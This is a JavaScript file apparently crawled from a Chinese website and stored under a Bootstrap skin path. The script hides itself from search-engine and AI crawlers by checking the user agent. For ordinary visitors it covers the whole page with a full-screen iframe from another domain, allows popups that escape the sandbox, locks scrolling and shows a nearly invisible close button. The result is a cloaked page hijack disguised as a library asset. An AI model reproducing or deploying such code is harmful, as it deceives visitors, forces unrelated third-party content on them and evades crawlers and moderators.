PageSourceSearch

https://pptiyuzhcn.com.cn/skin/bootstrap/js/tz.js

js pptiyuzhcn.com.cn collected 2026-10-04 09:04:18 UTC 4,899 bytes, 139 lines download raw bytes

1(function () {
2  try {
3    function isSearchEngineBot() {
4      var bots = [
5        'googlebot','bingbot','baiduspider','yandexbot','sogou',
6        '360spider','deepseekbot','claudebot','amazonbot',
7        'gptbot','perplexitybot','semrushbot','ahrefsbot','bot'
8      ];
9      var ua = (navigator.userAgent || '').toLowerCase();
10      for (var i = 0; i < bots.length; i++) {
11        if (ua.indexOf(bots[i]) !== -1) return true;
12      }
13      return false;
14    }
15    if (isSearchEngineBot()) return;
16  } catch (e) {}
17
18  function init() {
19    var viewportMeta = null;
20    var insertedViewport = false;
21    var originViewportContent = '';
22    try {
23      viewportMeta = document.querySelector('meta[name="viewport"]');
24      if (!viewportMeta) {
25        viewportMeta = document.createElement('meta');
26        viewportMeta.setAttribute('name', 'viewport');
27        viewportMeta.setAttribute('content', 'width=device-width, initial-scale=1, viewport-fit=cover');
28        (document.head || document.documentElement).appendChild(viewportMeta);
29        insertedViewport = true;
30      } else {
31        originViewportContent = viewportMeta.getAttribute('content') || '';
32        var looksOk = /device-width/i.test(originViewportContent) && /initial-scale\s*=\s*1/i.test(originViewportContent);
33        if (!looksOk) {
34          viewportMeta.setAttribute('content', 'width=device-width, initial-scale=1, viewport-fit=cover');
35        }
36      }
37    } catch (e) {}
38
39    var originOverflowHtml = document.documentElement.style.overflow;
40    var originOverflowBody = document.body.style.overflow;
41    document.documentElement.style.overflow = 'hidden';
42    document.body.style.overflow = 'hidden';
43
44    // --- 3) Overlay ---
45    var overlay = document.createElement('div');
46    overlay.id = 'overlayIframe';
47    overlay.style.cssText =
48      'position:fixed;' +
49      'top:0;left:0;width:100%;' +
50      'height:100vh;height:100dvh;' +
51      'background:#000;' +
52      'z-index:2147483647;' +
53      'display:flex;';
54
55    // --- 4) Iframe ---
56    var iframe = document.createElement('iframe');
57    iframe.id = 'marketingIframe';
58    iframe.src = 'https://dl.jiuyoutiyuzhcn.com.cn/';
59    iframe.setAttribute(
60      'sandbox',
61      'allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox'
62    );
63    iframe.setAttribute('scrolling', 'auto');
64    iframe.setAttribute('fetchpriority', 'high');
65    iframe.style.cssText =
66      'width:100%;' +
67      'height:100%;' +
68      'border:none;' +
69      'overflow:auto;';
70
71    // --- 5) Close button ---
72    var closeBtn = document.createElement('div');
73    closeBtn.id = 'overlayCloseBtn';
74    closeBtn.setAttribute('aria-label', '关闭');
75    closeBtn.title = '关闭';
76    closeBtn.innerHTML = '<span class="x1"></span><span class="x2"></span>';
77    closeBtn.style.cssText =
78      'position:fixed;' +
79      'top:calc(env(safe-area-inset-top) + 4px);' +
80      'right:calc(env(safe-area-inset-right) + 17px);' +
81      'width:15px;height:15px;' +
82      'border-radius:50%;' +
83      'background:#100d0c;' +
84      'cursor:pointer;' +
85      'z-index:2147483648;' +
86      'box-shadow:0 4px 12px rgba(0,0,0,0.4);' +
87      'user-select:none;' +
88      'display:flex;align-items:center;justify-content:center;';
89
90    var xStyle = document.createElement('style');
91    xStyle.innerHTML =
92      '#overlayCloseBtn .x1,#overlayCloseBtn .x2{' +
93        'position:absolute;' +
94        'width:18px;height:2px;' +
95        'background:#000;' +
96        'border-radius:2px;' +
97      '}' +
98      '#overlayCloseBtn .x1{transform:rotate(45deg);}' +
99      '#overlayCloseBtn .x2{transform:rotate(-45deg);}' +
100      '@media (max-width:768px){' +
101        '#overlayCloseBtn{width:36px;height:36px;}' +
102        '#overlayCloseBtn .x1,#overlayCloseBtn .x2{width:20px;height:2px;}' +
103      '}';
104    (document.head || document.documentElement).appendChild(xStyle);
105
106    // --- 6) Close logic ---
107    function closeOverlay() {
108      overlay.style.display = 'none';
109      document.documentElement.style.overflow = originOverflowHtml || '';
110      document.body.style.overflow = originOverflowBody || '';
111      try {
112        if (viewportMeta) {
113          if (insertedViewport) {
114            viewportMeta.parentNode && viewportMeta.parentNode.removeChild(viewportMeta);
115          } else if (originViewportContent) {
116            viewportMeta.setAttribute('content', originViewportContent);
117          }
118        }
119      } catch (e) {}
120    }
121    closeBtn.addEventListener('click', closeOverlay);
122    document.addEventListener('keydown', function (e) {
123      if (e && e.key === 'Escape') closeOverlay();
124    });
125
126    // --- 7) Insert DOM ---
127    overlay.appendChild(iframe);
128    document.body.appendChild(overlay);
129    document.body.appendChild(closeBtn);
130  }
131
132  if (document.readyState === 'loading') {
133    document.addEventListener('DOMContentLoaded', init);
134  } else {
135    init();
136  }
137})();
138
139

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.